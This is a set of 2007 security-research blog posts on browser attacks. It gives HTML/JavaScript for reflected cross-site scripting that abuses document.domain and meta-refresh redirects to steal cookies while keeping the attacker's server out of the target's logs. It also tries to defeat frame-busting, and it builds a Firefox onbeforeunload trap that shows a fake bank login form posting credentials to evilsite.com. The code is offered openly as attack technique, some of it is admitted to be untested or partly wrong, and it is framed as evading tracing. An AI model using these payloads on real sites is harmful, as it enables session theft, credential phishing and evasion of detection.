Friday, March 30, 2007

(Non-Persistent) Untraceable XSS Attacks (IE & Opera version)

[EDIT]: Due to something I misunderstood ages ago this post is completely useless, so please see: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks.html Which has been re-written.

Sadly I have an appalling habit of assuming that the way Firefox does things is the way other browsers do things when it comes to Javascript, and I am constantly missing things because of it.

Anyway; what I only just remembered is that IE and opera treat target.com and target.com. as separate domains, and even if we can interact with target.com. this is almost completely useless to us.

But the goal here is not to allow our domain to talk to another domain. Our goal here is to not have to send our attack logic to the vulnerable web app, where it will be logged by the server.

We can use the same basic concept as in the last post, but instead of having go.php redirect to something which calls our logic from the parent, we will need it to look more like this: (Copy and paste it into notepad because it goes off the side of the page)

<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>document.location = 'http://www.target.com./page.php?vuln=%3Cscript%3Edocument.domain%3D%27com.%27%3Bwindow.parent.logic%28%29%3B%3C/script%3E&cookie='+escape(document.cookie);</script>">
</head>
</html>


And then our attack page would have to look something more like this:
<html>
<body>
<script>
document.domain = 'com.';
function logic () {
    var loc = window.frames[0].document.location;
    var cookie = substr (loc.lastIndexOf("=") + 1);
    alert(cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>


I have not tested this, but it should be possible to simply extract the cookie from the domain as demonstrated above, then set the same cookie for target.com. but you will run into issues if there are authentication cookies for a subdomain, which you cannot extract, but for most scenarios this should still be workable.

(Non-Persistent) Untraceable XSS Attacks

[EDIT]: Sorry for taking so long to do this, but I've been really busy lately. Anyway, when doing my initial testing with document.domain stuff Firefox threw some errors when I tried to set the domain to just 'com' - I'm not sure why since this is allowed, and as such this post was needlessly confusing (since I thought you could only set it to 'com.'), and so I've rewritten it (keeping most of it intact), the old copy is still at the end, but its not really worth reading since its pretty much the same thing.

When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.

Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.

But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.

It turns out you can set the document.domain property to just 'com' if you have a .com domain.

Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.

The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.

And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.

The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:

attack.php :
<html>
<body>
<script>
document.domain = 'com';
function logic () {
    alert(window.frames[0].document.cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>


go.php :
<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>document.domain='com';window.parent.logic();</script>">
</head>
</html>


In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.

Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.

Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server since you have set up a system where any .com domain can break the cross domain boundary.

Old Post:



When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.

Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.

But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.

As trev found out, it is possible for a site in the .com TLD to set their document.domain value to '.com.', and this allows it to share details with any site which also sets its document.domain value to '.com.'.

Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.

The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.

And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.

The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:

attack.php :
<html>
<body>
<script>
document.domain = 'com.';
function logic () {
    alert(window.frames[0].document.cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>


go.php :
<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com./page.php?vuln=<script>document.domain='com.';window.parent.logic();</script>">
</head>
</html>


In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com. and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.

Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.

Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server, then they could easily conduct attacks similar to the one against MySpace described in trev's post.

[EDIT]: Sorry guys; false alarm. This doesn't fully work against IE and Opera because they treat target.com and target.com. as separate domains,and so store cookies separately. I have figured out a way to overcome this, which I've posted here: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks_30.html so that anyone who has already seen this post will hopefully notice the second one.

Monday, March 26, 2007

Partially stopping sites breaking out of frames in Mozilla

I've been looking for ways to stop sites breaking out of frames for a long time now, and haven't been able to find anything.

And I still haven't been able to get anything working the way I'd like it to, but since I don't have much time these days I thought I'd throw this out there to see if anyone could figure something out. What I'm trying here is to be able to execute XSS attacks within iframes against sites which break out of iframes at the top of each page, but sadly I'm having almost no real success.

Using the idea that I used to implement this; http://kuza55.blogspot.com/2007/03/trapping-mozilla-for-phishing.html, it is possible to stop site breaking out of frames.

Using the following code:
<html>
<body>
<script>
function test(e) {
    window.setTimeout ("stop();", 1);

}

window.onbeforeunload = test;

</script>
<iframe src="http://hackthissite.org/" />
</body>
</html>


But while it is possible to stop http://hackthissite.org from breaking out of an iframe, the moment we call the stop(); function, the iframe also stops loading. So any XSS attacks after the frame breaking code will not be executed.

So as you can see I haven't been able to figure anything out which will stop the top window being changed, but not stop the iframe being loaded. Hopefully someone else will have more luck.

Tuesday, March 20, 2007

Trapping Mozilla For Phishing

I was looking at the onbeforeunload event handler today in the hopes of finding a way to attack/implement Martin Johns' paper SessionSafe: Implementing XSS Immune Session Handling (there's also some discussion about the paper here: http://sla.ckers.org/forum/read.php?13,7607), and while I didn't find anything useful there, I did find a way to entrap, and therefore conduct phishing attacks against more aware Mozilla users.

Before delving into an explanation, here's the code which I'll explain:

<html>
<body>
<script>
function test(e) {
window.setTimeout ("stop();", 1);
window.setTimeout ("var test = document.getElementById ('test'); test.style.display = 'block';var test2 = document.getElementById ('test2'); test2.style.display = 'none';", 1);
}

window.onbeforeunload = test;

</script>
<div id="test2">Please go to bankofamerica.com</div>
<div style="display:none;" id="test">Please Enter your Login Details here:
<form action="http://evilsite.com/">
Username: <input name="username">
Password: <input type="password" name="password">
</form></div>
</body>
</html>


Anyway; when using the onbeforeunload event handler it is still possible to access the window object, and therefore still possible to set time-outs.

In our time-outs, we can call the stop() function. When the stop(); function is called the location bar is not reset, and therefore will display the URL the user entered.

The next thing we would like to do would be to add some data to the page which makes it look like a phishing site. Sadly (or Luckily depending on your view point), when you call the document.write() function, the location bar is reset, and therefore we must use the DOM to make the existing page disappear, and add our new page.

Simple Enough.

One thing you should note though, is that there is a bug in Firefox where, if you enter, say, google, then press Ctrl+Enter, then go to another tab, and then return, the address bar will read "google" rather than "http://www.google.com/", but its not a very likely scenario, so should not be much cause for concern. And furthermore it is (to my knowledge) impossible to find out where the user is going, so I do not think there are many uses other than a phishing page like the example provided.

You also cannot force the user to programmatically go to a page, and stop that and have the URL changed. the URL is changed programmatically only when the browser successfully loads the page.

Oh, and AFAIK a slightly similar (in terms of effect, not implementation) vuln in IE is still unpatched: http://lcamtuf.coredump.cx/ietrap/

P.S. This was tested on Firefox 2.0.0.2